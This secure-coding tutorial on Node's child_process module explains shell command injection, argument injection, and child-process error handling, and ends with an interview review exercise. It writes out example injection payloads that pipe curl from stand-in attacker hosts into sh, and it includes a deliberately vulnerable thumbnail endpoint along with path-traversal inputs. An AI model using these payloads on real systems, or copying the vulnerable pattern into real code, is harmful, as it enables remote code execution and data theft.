Node’s node:child_process module lets you run other programs: ffmpeg to transcode a video, git to read a repository, ImageMagick to make a thumbnail. The module offers several functions that look interchangeable (exec, execFile, spawn, and their Sync versions), and the difference between them is the difference between a safe feature and remote code execution. Interviewers bring this up in security rounds and in “review this code” exercises, usually with a snippet that builds a command string from user input.
All the examples below ran on macOS with Node 22, inside a scratch directory.
How exec turns a filename into a command
exec takes one string and hands it to a shell (/bin/sh -c on Unix, cmd.exe on Windows). That’s convenient, since you get pipes, globs and redirection, and it means the shell parses everything in the string, including whatever the user typed.
Here’s a “count the bytes in an uploaded file” feature, where the filename comes from the request:
import { exec, execFile } from 'node:child_process';
import { promisify } from 'node:util';
const execP = promisify(exec);
const execFileP = promisify(execFile);
const filename = 'report.txt; echo INJECTED, could have been rm -rf'; // from a user
const viaShell = await execP(`wc -c ${filename}`);
console.log('exec:\n' + viaShell.stdout);exec:
18 report.txt
INJECTED, could have been rm -rfThe shell saw ; and ran a second command. The payload here is a harmless echo, but it could be curl attacker.example | sh, reading ~/.aws/credentials, or deleting the uploads directory, all with the permissions of your Node process. Semicolons aren’t the only route: $(...), backticks, &&, |, newlines and redirection characters all work.
The tempting fix is to quote the value: `wc -c "${filename}"`. That just moves the problem. A filename containing " closes your quote, and $(...) still expands inside double quotes. Escaping correctly for every shell (and cmd.exe has completely different rules) is a project in itself. Don’t build shell strings from input at all.
Passing arguments without a shell
execFile and spawn take the program and its arguments as separate values. With the default shell: false, Node calls the operating system’s process creation directly, and each array element arrives in the child as exactly one argv entry. Nothing parses it.
try {
await execFileP('wc', ['-c', filename]);
} catch (err) {
console.log('execFile:', err.code, err.stderr.trim());
}
console.log('execFile ok:', (await execFileP('wc', ['-c', 'report.txt'])).stdout.trim());execFile: 1 wc: report.txt; echo INJECTED, could have been rm -rf: open: No such file or directory
execFile ok: 18 report.txtThe whole malicious string was treated as one odd filename, and wc reported that no such file exists. No second command ran.
The rule of thumb: use execFile when you want the output collected into a string, and spawn when the output is large or you want to stream it (a video transcode, a log tail). Avoid shell: true on either, since it brings back the exact problem exec has. If you need a pipeline like git log | head, either do the second step in JavaScript or connect two spawn calls with child1.stdout.pipe(child2.stdin).
Windows has an extra wrinkle. .bat and .cmd files can’t run without cmd.exe, and after a 2024 security fix Node refuses to spawn them unless you pass shell: true (it fails with EINVAL). If you must run a batch file with user input, validate the input strictly first, because you’re back to shell parsing.
Argument injection: the hole an array leaves open
An argument array stops the shell. It doesn’t stop the program from interpreting an argument that starts with - as an option. Here a user is supposed to supply a filename to list from an uploads directory that also contains a .env file:
const run = promisify(execFile);
const opts = { cwd: 'uploads' };
const userArg = '-a'; // meant to be a file name
console.log('no --: ', (await run('ls', [userArg], opts)).stdout.split('\n').filter(Boolean).join(' '));
try { await run('ls', ['--', userArg], opts); }
catch (err) { console.log('with --:', err.stderr.trim()); }no --: . .. .env photo.jpg
with --: ls: -a: No such file or directoryls read -a as “show hidden files” and listed the secrets file. With -- in front, ls stopped parsing options and treated -a as a filename. This class of bug has hit real tools hard: git’s --upload-pack=<command> option and tar’s --checkpoint-action=exec=<command> both run arbitrary commands if an attacker can slip them in as arguments.
So the full defence is layered. Put -- before user-controlled positional arguments when the program supports it (most GNU and BSD tools do; check the man page). Validate values against what you actually expect: a ref name matching ^[\w./-]+$ that doesn’t start with -, an ID that’s purely digits, a filename you looked up from your own database rather than one the user typed. And when you can, pass data on stdin or in a temp file instead of on the command line.
The other ways a child process goes wrong
Injection is the headline, but production failures with child processes are usually about resources and error handling. This script triggers four of them:
import { spawn, execFile } from 'node:child_process';
const missing = spawn('imagemagick-convert', ['in.png', 'out.webp']);
missing.on('error', (err) => console.log('spawn error event:', err.code, err.syscall));
execFile('node', ['-e', 'process.stdout.write("x".repeat(2_000_000))'], { maxBuffer: 1024 * 1024 }, (err) => {
console.log('maxBuffer:', err.code, err.message);
});
execFile('node', ['-e', 'setTimeout(() => {}, 10_000)'], { timeout: 200 }, (err) => {
console.log('timeout:', 'killed=' + err.killed, 'signal=' + err.signal);
});
execFile('node', ['-e', 'console.error("bad input"); process.exit(3)'], (err, stdout, stderr) => {
console.log('non-zero exit:', 'code=' + err.code, 'stderr=' + JSON.stringify(stderr));
});spawn error event: ENOENT spawn imagemagick-convert
non-zero exit: code=3 stderr="bad input\n"
maxBuffer: ERR_CHILD_PROCESS_STDIO_MAXBUFFER stdout maxBuffer length exceeded
timeout: killed=true signal=SIGTERMGoing through them:
- A missing binary emits
error, not a thrown exception.spawnreturns aChildProcessimmediately. If the program doesn’t exist, you get anerrorevent withENOENT. Without a listener for it, that becomes an uncaught exception and crashes the server. - A non-zero exit code is a failure you have to check. With
spawn, listen forcloseand look at the code.execFileturns it into an error withcodeset to the exit status and the child’s stderr attached. maxBufferlimits collected output.execandexecFilebuffer stdout and stderr in memory, 1 MiB each by default. More than that kills the child and errors. If output can be large, usespawnand stream it.- Set a
timeout. A hung child holds a process slot and whatever request is waiting on it. Thetimeoutoption sendskillSignal(defaultSIGTERM) when it expires. For untrusted media files, which can make converters loop for a long time, this isn’t optional.
Two more points that show up in reviews. Children inherit the parent’s process.env by default, which usually includes database URLs and API keys. Pass env: { PATH: process.env.PATH } plus only what the tool needs. And never call execSync or spawnSync in a request handler: they block the event loop for the child’s whole lifetime.
Interview practice
Review this endpoint, which generates a thumbnail for an image the user previously uploaded:
app.post('/thumb', (req, res) => {
exec(`convert uploads/${req.body.name} -resize ${req.body.size} thumbs/${req.body.name}`,
(err) => err ? res.status(500).end() : res.json({ ok: true }));
});What’s wrong and what would you write instead?
Answer
The biggest issue is command injection: name and size go into a shell string, so a name like a.png; curl evil.example/x | sh runs arbitrary commands as the server user. Quoting won’t fix it reliably. The second issue is path traversal: name could be ../../etc/passwd or write into thumbs/../server.js. Third, size can carry options of its own, and ImageMagick has a history of dangerous coders and delegates triggered by crafted input. Finally, there’s no timeout, so a malicious image can tie up a process indefinitely, and there’s no check that the request is allowed to touch that file.
I’d rewrite it so the user never supplies a path. Look up the upload by ID in the database and check ownership, which gives a server-generated filename. Validate size against a fixed allow-list like { small: '128x128', large: '512x512' }. Then call execFile('convert', [inputPath, '-resize', geometry, outputPath], { timeout: 10_000, env: { PATH: process.env.PATH } }, cb) with absolute paths I built myself, and handle the error and exit code. If thumbnails are frequent, I’d move this to a queue with a bounded number of concurrent workers, or use a library like sharp so there’s no external process at all.